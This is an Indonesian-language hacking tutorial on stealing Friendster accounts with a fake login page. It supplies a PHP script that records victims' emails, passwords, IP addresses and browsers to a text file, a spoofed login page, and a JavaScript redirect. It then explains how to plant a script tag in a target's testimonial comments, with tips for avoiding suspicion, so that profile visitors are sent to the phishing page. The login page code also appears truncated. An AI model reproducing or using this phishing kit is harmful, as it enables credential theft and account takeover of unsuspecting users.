

HACK FRIENDSTER DENGAN FAKE LOGIN

Kali ini saya akan berbagi ilmu yang sudah saya dapat, yaitu hack friendster dengan fake login. Sebelum anda membaca hingga habis pastikan anda telah mempunyai, account hosting yang support PHP untuk menyimpan file-file di bawah ini. Pada saat saya membuat tutorial ini saya menggunakan fasilitas yang diberikan oleh ripway, anda bisa mendaftar di www.ripway.com

Saya menggunakan 3 file untuk menjalankan fake login, yaitu:

1. [login.php](#) (Tidak perlu diubah)
2. [login.html](#)
3. [redirect.txt](#)

Untuk membuat file ini Anda dapat menggunakan Notepad. Dengan cara Save – pada File Name tulis dengan nama file dan pada Save as type pilih All Files.

1. login.php

```
<?php
//deteksi browser yg dipake dia (victim)
if (strpos($_SERVER["HTTP_USER_AGENT"], "MSIE"))
{ $browser = "Ms.IE";}
elseif (strpos($_SERVER["HTTP_USER_AGENT"], "Mozi"))
{ $browser = "FF.Mozilla";}
elseif (strpos($_SERVER["HTTP_USER_AGENT"], "Oper"))
{ $browser = "Opera";}
else $browser = "Unk.Browser";

$ip = getenv ('REMOTE_ADDR'); //record ip addressnya dia
$date=date("d/M/y g:i:s a"); //record waktu kejadian
// $referer=getenv ('HTTP_REFERER'); //record alamat di URL
$f = fopen('password.txt', 'a');
$em=$_POST["email"]; //record email dia
$pw=$_POST["password"]; //record pwd dia
fwrite($f, "\r\n$ip;;$date;;$browser\r\n$em;;$pw\r\n");
fclose($f);
?>
```

```
<script LANGUAGE="JavaScript">
window.location="http://www.friendster.com";
</script>
```

2. login.html

```
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/1998/REC-
html40-19980424/loose.dtd">

<html xmlns:dict="dict" dir="">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Friendster - Log In</title><meta name="description" content="Friendster is a leading global social network
emphasizing genuine friendships and the discovery of new people through friends. Search for old friends and
classmates, stay in better touch with friends, share photos and videos, and so much more!"><script>

    _udn="friendster.com";
    urchinTracker(trackingName);
</script>
</body>
</html>

```

Sebelumnya cari dulu URL login.php ANDA, bisa dengan menekan tombol Ctrl+F atau lihat pada halaman 7.

3. redirect.txt

```

var myplace = document.location.href;
if (myplace == "http://profiles.friendster.com/user.php?uid="){
}

else if (myplace == "http://profiles.friendster.com/user.php?uid="){
}

else {
    location.href = "URL login.html ANDA";
}

```

Setelah semua file tadi di upload di hosting anda, langkah selanjutnya Anda mencari target yang akan di hack friendsternya melalui fake login kita, tulis code di bawah ini dan masukan di testimonial comments target

```
&lt;script src="URL redirect.txt ANDA"&gt;&lt;/script&gt;
```

Untuk menghubungkan dengan file injection.txt yang kemudian akan dihubungkan dengan file Fake login kita. Sebaiknya sebelum code tersebut anda memasukan beberapa kata agar target tidak curiga. Dan apabila target mengisi e-mail dan passwordnya melalui fake login kita nanti ada file baru di hosting kita dengan nama file password.txt.

Kelemahan dari fake login ini yakni apabila target tidak menerima testimonial kita, maka fake login tidak berfungsi, untuk itu apabila Anda mengirim testimonial kepada friendster target yang otomatis menerima comments maka peluang Anda untuk menggunakan Fake Login semakin besar. Maka apabila testimonial kita diterima setiap orang yang masuk ke friendster korban kita, pengunjung friendster itu juga akan masuk ke fake login kita. Anda dapat mengembangkan cara di atas sesuai dengan ilmu Anda.

Sekian tutorial saya yang sangat sederhana ini semoga dapat bermanfaat. Terima kasih Anda telah membaca tutorial ini, kritik dan saran sangat saya harapkan.
